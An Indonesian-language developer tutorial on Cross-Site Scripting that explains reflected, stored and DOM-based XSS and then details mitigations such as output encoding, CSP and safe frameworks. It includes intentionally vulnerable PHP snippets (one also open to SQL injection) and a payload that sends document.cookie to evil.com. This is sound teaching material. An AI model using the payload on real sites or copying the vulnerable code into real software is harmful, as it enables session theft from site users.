Cross-Site Scripting (XSS): Celah Keamanan Web yang Sering Terabaikan dan Cara Mitigasinya
Pernahkah Anda membayangkan bahwa sekadar mengklik tautan di forum atau website favorit bisa membuat akun Anda dibajak? Itulah yang bisa dilakukan oleh serangan Cross-Site Scripting (XSS). XSS adalah salah satu celah keamanan paling umum dan berbahaya di aplikasi web. Artikel ini akan mengupas tuntas cara kerja XSS, bagaimana eksploitasi dilakukan, dan langkah-langkah mitigasi yang bisa Anda terapkan langsung sebagai developer.
Apa Itu Cross-Site Scripting?
XSS adalah jenis serangan injeksi di mana penyerang menyisipkan skrip berbahaya (biasanya JavaScript) ke dalam halaman web yang dilihat pengguna lain. Skrip ini kemudian dieksekusi di browser korban, memungkinkan penyerang mencuri cookie, session token, mengubah konten halaman, atau bahkan merusak website. Ada tiga jenis XSS utama:
- Reflected XSS: Skrip jahat dikirim sebagai bagian dari request (misal URL), dan server langsung merespon dengan skrip tersebut tanpa disimpan.
- Stored XSS: Skrip disimpan permanen di server (misal di database komentar), lalu dieksekusi saat pengguna lain mengakses halaman tersebut.
- DOM-based XSS: Kerentanan murni terjadi di sisi klien melalui manipulasi DOM, tanpa perlu server memproses skrip.
Contoh Implementasi: Kode Rentan dan Eksploitasi
Reflected XSS Sederhana di PHP
Bayangkan sebuah halaman pencarian yang menampilkan query pengguna langsung tanpa sanitasi:
<!-- search.php -->
<form method="GET">
<input type="text" name="q" placeholder="Cari...">
<button type="submit">Cari</button>
</form>
<p>Hasil pencarian untuk: <?php echo $_GET['q']; ?></p>
Jika pengguna mengirimkan URL seperti:
search.php?q=<script>alert('XSS')</script>
Maka skrip JavaScript akan dieksekusi. Dalam skenario nyata, penyerang bisa mengganti alert dengan kode yang mengirim cookie ke server mereka.
Stored XSS pada Komentar
Fitur komentar yang menyimpan input ke database tanpa filtering sangat rentan. Contoh kode penyimpanan di PHP (rentan):
<?php
$komentar = $_POST['komentar'];
// Langsung dimasukkan ke database tanpa sanitasi
mysqli_query($conn, "INSERT INTO komentar (isi) VALUES ('$komentar')");
?>
<!-- Menampilkan komentar -->
<div>
<?php echo $row['isi']; ?>
</div>
Jika penyerang mengirim komentar berisi <script>document.location='http://evil.com/steal.php?cookie='+document.cookie</script>, maka setiap pengunjung halaman tersebut akan kehilangan cookie-nya.
Analisis Keamanan: Mengapa XSS Sangat Berbahaya?
XSS tidak hanya menyebabkan defacement ringan. Dampaknya bisa sangat serius:
- Pencurian session cookie: Penyerang bisa login sebagai korban tanpa perlu password.
- Keylogging dan phishing: Skrip bisa menangkap input keyboard atau menampilkan form palsu.
- Penyebaran malware: Browser dapat diarahkan ke halaman berbahaya.
- Modifikasi konten: Penyerang bisa mengubah tampilan website untuk menyebarkan informasi palsu.
Menurut OWASP, XSS selalu masuk dalam OWASP Top 10. Celah ini sering muncul karena developer menganggap entri pengguna sebagai data yang aman.
Cara Pencegahan: Langkah Mitigasi Detail
Berikut adalah teknik mitigasi yang wajib diterapkan:
1. Output Encoding/Escaping
Selalu encode data sebelum ditampilkan di HTML. Gunakan fungsi seperti htmlspecialchars() di PHP:
<?php echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); ?>
Di JavaScript context, encode untuk JavaScript, misal menggunakan JSON.stringify() atau library seperti DOMPurify.
2. Validasi Input di Sisi Server
Jangan pernah percaya pada input klien. Lakukan whitelist validation hanya untuk karakter yang diizinkan. Misal, field username hanya menerima alfanumerik.
3. Content Security Policy (CSP)
CSP adalah header HTTP yang membatasi sumber skrip yang valid. Contoh header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
Dengan CSP, browser akan menolak mengeksekusi skrip inline atau dari domain yang tidak terdaftar, memblokir banyak serangan XSS reflektif dan stored.
4. Gunakan Framework dengan Auto-Escaping
Framework modern seperti React, Angular, atau Vue secara default melakukan escaping. Namun, tetap waspada jika menggunakan fitur dangerouslySetInnerHTML di React atau v-html di Vue – harus dengan konten yang sudah disanitasi.
5. Hindari eval() dan Fungsi Eksekusi Dinamis
Hindari eval(), setTimeout(string), atau new Function(). Jika tidak bisa dihindari, sanitasi input secara ketat.
Kesimpulan
Cross-Site Scripting adalah ancaman yang bisa dicegah dengan disiplin keamanan yang baik. Ingat tiga prinsip utama: jangan pernah percaya input pengguna, selalu encode output, dan terapkan pertahanan berlapis (validasi + CSP + framework aman). Dengan memahami cara kerja XSS dan menerapkan mitigasi di atas, Anda tidak hanya melindungi aplikasi, tetapi juga pengguna dari risiko pencurian data. Mulailah dari sekarang: audit kode Anda, gunakan tools automatic scanner seperti OWASP ZAP, dan jadikan keamanan sebagai budaya dalam setiap baris kode yang Anda tulis.